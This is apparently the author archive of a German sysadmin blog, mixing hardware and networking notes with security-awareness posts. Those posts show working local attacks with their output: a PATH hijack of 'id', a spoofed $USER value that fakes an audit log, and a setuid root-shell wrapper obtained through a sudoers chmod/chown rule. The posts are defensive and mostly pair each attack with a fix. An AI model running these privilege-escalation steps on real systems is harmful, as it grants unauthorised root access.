Author Archive
Nachdem es um das Adminlife.net Projekt stiller geworden ist, und ich gerne an der Struktur der Seite usw. einiges ändern wollte, jedoch auf Matthias Webserver keinen root-Zugriff habe, haben wir uns drauf verständig, dass ich einen eigenen Blog eröffnen werde. Der alte Blog bleibt in seiner jetzigen Form erhalten, wird von uns jedoch nicht weiter geführt.
Diejenigen, die den Blog über Feedreader abonniert hatten: hier kommt nichts mehr, weiter gehts auf ADMinLIFE. Also los: Reader umstellen! 
Seltsamerweise funktionierte die Gobi 2000 Karte meins x201 mit 2.6.36 noch, 2.6.37 nicht mehr.
Nach einigem git bisect’en ergab sich vorhin:
Bisecting: 0 revisions left to test after this (roughly 0 steps)
[1992de83e375acc789daf66b7b72a812a5235b75] USB: qcserial: Enable Diagnostics Monitor and GPS ports on Gobi 2000
Nun muss /dev/ttyUSB1 statt wie bisher /dev/ttyUSB0 genutzt werden. Aber wer liest schon dauernd die LKML oder guckt sich alle Changes vor einem Kernel-Update an? 
Achtung: die Western Digital 250 GB Raid Edition Festplatten haben bei mir im Rechenzentrum derzeit eine gefühlte Ausfallquote von 10%. Angeblich ist eine bestimmte Charge von den Ausfällen betroffen, offizielle Angaben gibt es derzeit soweit ich weiß (noch?) nicht.
Unser Lieferant erledigt Garantiefälle für uns recht unbürokratisch – wir schicken nie direkt zu WD, weil wir teils Platten im Vorabaustausch bekommen. Er hat jedenfalls eine größere Menge defekte Festplatten weitergeleitet und nun haben wir für einige Platten als Ersatz 500 GB Modelle bekommen – für lau. Man munkelt, dass aufgrund der extrem hohen Rücklaufzahlen der Bedarf an 250ern derzeit nicht gedeckt werden kann.
Es bleibt spannened. Sobald ich etwas genaueres weiß, werde ich hier was schreiben.
Edit: Falls bei euch in letzter Zeit auch viel ausgefallen ist, schreibt bitte das Alter der Festplatten dazu!
Auch immer wieder gesehen: falsche Berechtigungen von Backups.
[user@srv2342 ~]$ ls -l /opt/backup
-rw-r--r-- 1 root root 2,6M 09. Apr 20:30 etc-20100409.tgz
-rw-r--r-- 1 root root 2,6M 10. Apr 20:30 etc-20100410.tgz
-rw-r--r-- 1 root root 2,6M 11. Apr 20:30 etc-20100411.tgz
-rw-r--r-- 1 root root 2,6M 12. Apr 20:30 etc-20100412.tgz
Natürlich war auch die /etc/shadow enthalten… john macht damit bekanntlich meist kurzen Prozess.
Beliebt sind scheinbar auch Scripte, die etwas der folgenden Art machen, um Backups zu erstellen und die Rechte korrekt zu setzen:
tar -czf /opt/backup/etc-backup.tgz /etc
chmod 600 /opt/backup/etc-backup.tgz
Hier entsteht eine klassische Race-Condition. Falls der Angreifer die Platten verlangsamt (z.B. per dd) und/oder eine while true Schleife nutzt, die er kurz vor Backupbeginn startet, kann er evtl. Teile oder das gesamte Backup kopieren.
Besser: Global umask 0027 setzen. Falls nicht möglich (z.B. Firmen-Policy), einfach vor dem Aufruf von tar ausführen:
umask 0027
tar -czf /opt/backup/etc-backup.tgz /etc
Backups müssen genauso wie die Originaldaten behandelt werden und gehören nicht nach /tmp oder mit unsicheren Dateirechten sonstwohin.
Tim schlug hier vor, im Vorpost etwas anderes zur Authentifizierung als $USER zu nutzen: id. Auch das ist unsicher, wenn man es falsch macht. Ich benutze hier einfach mal die UIDs statt der Usernamen. Der folgende Code wäre dann die id-Variante, wer findet das Sicherheitsproblem?
#!/bin/bash
if [ "$(id -u)" != "1001" ] && [ "$(id -u)" != "1002" ]
then
echo "Zugriff verweigert."
else
echo OK
[...]
echo "$(date) Domain $1 gelöscht durch $USER" >> /var/log/domainlog
fi
Umgehen kann man es jedoch wieder trivial, man erstelle ~/id:
[stefan@srv2342 ~]$ sh authme.sh
Zugriff verweigert.
[stefan@srv2342 ~]$ echo "echo 1001" > ~/id
[stefan@srv2342 ~]$ chmod +x ~/id
[stefan@srv2342 ~]$ PATH=".:$PATH" sh authme.sh
OK
[stefan@srv2342 ~]$
Wir haben hier PATH so geändert, dass zuerst im aktuellen Pfad nach id Datei gesucht wird – die Datei haben wir grade angelegt und sie gibt aus, was das Script als Antwort sehen möchte. Whoops! ;D
Um die Security awareness etwas zu erhöhen, habe ich überlegt, noch ein paar witzige Schnippsel zu posten! Vielleicht entdeckt ja jemand auch etwas, das er selbst mal gemacht hat!
Hier folgt nun ein sinngemäßer Auszug aus einem Script, das bei einem ISP sehr kritische Aktionen für Domains ausführt:
#!/bin/bash
if [ "$USER" != "franz" ] && [ "$USER" != "karl" ]
then
echo "Zugriff verweigert."
else
[...]
echo "$(date) Domain $1 gelöscht durch $USER" >> /var/log/domainlog
fi
Wichtig ist hier vor allem das Audit Log. Umgehen kann man es jedoch trivial:
USER=franz ./domain-delete.sh [domain]
Leider bedachte der Programmierer nicht, dass $USER natürlich trivial von jedem Shelluser geändert werden kann. Das Audit-Log würde ggfs. sehr unerfreuliche Folgen haben.
Bessere Lösung: sudo benutzen und nur den zwei Usern, die es wirklich benötigen, Rechte auf das Script gewähren.
Auf einem Webserver fand ich kürzlich eine sudoers-Zeile, die einem User erlaubte, chmod und chown für ein bestimmtes Verzeichnis (/foo) auszuführen. Sowas sollte man tunlichst vermeiden.
user@srv2342: ~> id
uid=1007(user) gid=100(users) groups=16(dialout),33(video),100(users)
Ich brauche zuerst ein kleines C-Tool:
user@srv2342: ~> cat > /foo/y.c
#include
int main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
STRG-D
Compilieren:
user@srv2342:/foo> cd /foo; gcc y.c -o y
Jetzt machen wir sudo-magic und erhalten ein SetUID-Bit:
user@srv2342:/foo> sudo /bin/chown 0:0 /foo/y
user@srv2342:/foo> sudo /bin/chmod 4775 /foo/y
user@srv2342:/foo ls -l
total 16
-rwsrwxr-x 1 root root 9217 Mar 26 14:52 y
-rw-r----- 1 user users 101 Mar 26 14:51 y.c
Root werden:
user@srv2342:/foo> ./y
srv2342:/foo # id
uid=0(root) gid=0(root) groups=16(dialout),33(video),100(users)
Owned!
Hier eine Kurzanleitung für all diejenigen, die ein FreeBSD unter kvm mit Point-to-Point benutzen wollen und daran verzweifelt sind, ins Netz zu kommen (dies ist ein kleiner Reminder für mich selbst *g):
Lokal ist hier die IP 192.168.0.220, Remote ist 192.168.0.210.
/etc/rc.conf:
ifconfig_em0="inet 192.168.0.220 192.168.0.210"
static_routes="default"
route_default="-net 0.0.0.0 -iface -interface em0"
Ist auf der anderen Seite Linux im Einsatz, so macht man dort:
ip addr add 192.168.0.210 peer 192.168.0.220/32 dev tunX
Natürlich erst, nachdem das neue tun-Interface oben ist (also z.B. im eigenen up-Script).
